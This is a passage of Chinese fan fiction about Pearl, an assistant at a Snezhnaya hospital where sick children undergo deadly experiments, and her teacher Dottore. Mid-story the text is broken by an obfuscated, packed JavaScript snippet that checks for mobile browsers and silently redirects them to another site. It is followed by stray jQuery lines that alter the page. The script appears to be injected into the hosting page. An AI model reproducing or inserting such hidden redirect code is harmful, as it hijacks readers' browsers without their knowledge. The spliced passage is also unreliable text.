医院里新进了一批病人,全部都是小孩子,最大的不超过十二岁。
在医院里,病人没有名字,只有编号。
而珀尔就是负责给他们编号的人。
1号、2号、3号……
她将印有编号的胸针别在病人的病号服上,并登记每一个病人的详细信息。
当轮到最后一个小病人的时候,她一直踌躇着不肯往前。珀尔抬头,好奇地看了她一眼:“怎么了?”
那是个绿色短发的小孩儿,脸上大面积缠着绷带,有一双漂亮的紫红色眼睛。尽管疾病使她面带病容,但也看得出是个可爱的孩子。因为年纪还小,珀尔险些没能判断出她的真实性别。
“过来吧,别害怕。”她向对方招了招手。
小女孩儿这才磨磨蹭蹭地走了过来。
“叫什么名字?”珀尔问她。
“柯莱。”女孩儿小声答道。
“年龄。”
“八岁。”
真小啊。
和当年的她,一个年纪。
……
她又给她量了一下身高和体重,很轻的小孩儿,个头也不高。
这也正常,来到这里的孩子,一般都患有不治之症。长期患病的人,不消瘦成骷髅已经不错了。
“来,这是属于你的。”
珀尔给她戴上胸针,并拍了拍她的脑袋。
小孩儿红了脸,她扭捏道:“姐姐,你是我的主治医师吗?”
嘴角笑意凝住,珀尔轻叹一声:“不,我还只是个助手。”
而后,孩子们被带走了。
禁锢的铁门在她眼前关闭。
“啊!”
痛苦的嚎叫声,是医院必不可少的配乐。在这里工作的人,大多已经麻木了。
自然,也包括她。
“16号死亡、17号死亡……28号,存活。”
那个叫做柯莱的小女孩儿在治疗中活了下来,珀尔听到这个消息,莫名有种松了口气的感觉。
为什么,是因为那个孩子,对她露出了期待的眼神吗?
心情沉闷的她,决定外出散步。
她很少从那栋雪白的房子里出来,尽管多托雷老师并不限制她的行动。
对于外界,珀尔有种深入骨髓的畏惧感,可能是因为她知道,有一个名为“过去”的怪物,潜伏在阴森森的角落里,时刻准备着张开血盆大口,将路过的她一口吞下。
她很怕遇到曾经认识的人,尤其是父母,还有兄弟姐妹们。
她不知道,该如何对待他们,是装成陌生人,还是若无其事地打招呼?
她既害怕听到他们的死讯,又害怕他们依旧在苟延残喘。
她已经死了。
她告诉自己。
当年的珀尔已经死于疾病,被她的父母丢弃了。
世界上,已经没有那个“珀尔”。
而她,是一个新生的人。
怀着这样的念头,她的脚步轻快了许多。
“欢迎光临。”
进入餐厅,她点了一份烤肉和一份热狗。
扑鼻的肉香勾起了她的食欲。
“好香。”
以前只能看着别人享用的美食,此刻就摆在她的面前,触手可得。
但,似乎没有那么吸引人了。
她用刀叉切开热狗,叉起一块,塞进嘴里。
满满的油脂味儿,混合着面包香气。
咕噜。
一只猫把头探进餐厅大门,眼睛直勾勾地盯着他,嘴里喵喵直叫。
珀尔发现了它。
也不知道是不是最近几年至冬的环境变好了,街上的乞丐倒是少了很多,转而多了一些四处逃窜的流浪猫狗。
当然,阴暗一点想,那些乞丐也许是被清理了,就像清扫垃圾一样。
她夹起一块肉,想要丢给猫,一道冰冷的声音冷不丁在她脑子里响起:「你还有心情喂猫喂狗?家里都不够吃,浪费给畜牲!」
那是父亲的声音。
珀尔下意识地收回叉子。
“喵呜——”
猫还在期待地看着她。
珀尔突然哑然失笑:“我已经不是从前的珀尔了。”
可某种根深蒂固的思想观念,却依然顽强地残存在她的脑子里。
“给你吧,小猫咪。”
她将烤肉扔了过去。
叮铃。
恰在这时,有人走了进来。
肉块正好扔到了来人的裤腿上,浸出一片小小的油渍。
“啊,抱歉,不小心弄脏了你的裤子。”珀尔惊慌地捂住嘴唇,一抬头,对上那双圆润的红眼睛。
“没事。”少年看了看她,干巴巴地回了句。
然后,他继续往前走,在她对面的餐桌上,坐了下来。
那是个表情冷淡,模样俊俏的男孩儿。
红发红眼,看起来生人勿近。
他的穿着打扮,不像至冬人,可能是国外来的游客。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440209|201033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珀尔暗暗想道。
不过他的眼睛,还真像猫一样……
她勾起了嘴角。
不知道是不是觉察到了她的目光,少年忽然转头看向她,紧接着,又移开了视线。
珀尔站起身,去柜台结账。
她告诉服务员:“那位红头发红眼睛的先生点了什么?也由我来付吧。到时候,他要是问起,就说是不小心弄脏他裤子的赔礼。”
付完钱,珀尔离开了餐厅。
那只流浪猫也早就不见了踪影。
“珀尔,是你吗?”
一个苍老的声音陡然从她背后响起。
脚步一顿,她头也不回地走掉了。
“不是珀尔吗?”老妇人站在原地喃喃自语,她忍不住自嘲出声,“是啊,怎么可能是珀尔呢?那位小姐,那么漂亮高贵,一看就出生在有钱人家,只是眼睛和珀尔有些相似罢了。而我的珀尔,她已经死了啊,十年前就死了,是我亲手……把她送进了地狱。”
珀尔快步回到了那栋雪白的房子。
她埋头走进实验室,就听见屋子里响起熟悉的声音:“你去干什么了?哭得满脸泪水。”
她停下脚步,怔怔地抬起头,一眼看见了站在实验台前的蓝发青年。
泪水……
她抬手抚向脸颊,果然摸到了冰冷的水渍。
她这才发现,自己哭了。
原本压制住的情绪突然如同潮水决堤般爆发了出来,她扑向男人,紧紧地抱住了他的腰:“老师,我爱您,我真的爱您,比爱我的父母更甚……”
“呵。”头顶传来一声嗤笑,宽大的手掌隔着厚厚的头发轻轻摩挲,他说,“这句话我已经听过无数次了。而你,珀尔,你不是小孩子了。这是干什么,跟我撒娇吗?还是说,你弄坏了什么实验器材?在提前求饶?”
说着,他挑起了眉毛。
“不是,我是真心的。”她抬起眼睛,泪汪汪地望着他,“我真的爱您,我只是想要告诉您,以免您忘记了。”
“我觉得我不可能忘记,你已经说过不下千遍了。”
“真的吗?我还可以说一万遍。”
“呵。”这时,房间里突兀地响起一声冷嘲,“别肉麻了,怪恶心的。”
珀尔瞬间浑身僵硬,她把脸缓缓从男人的脸上移开,目光穿过男人宽阔的肩膀,对上那双满含恶意的蓝色眼睛。
只见人偶一样精致的少年站在墙根底下,正双手抱胸,冷眼看着她的表演。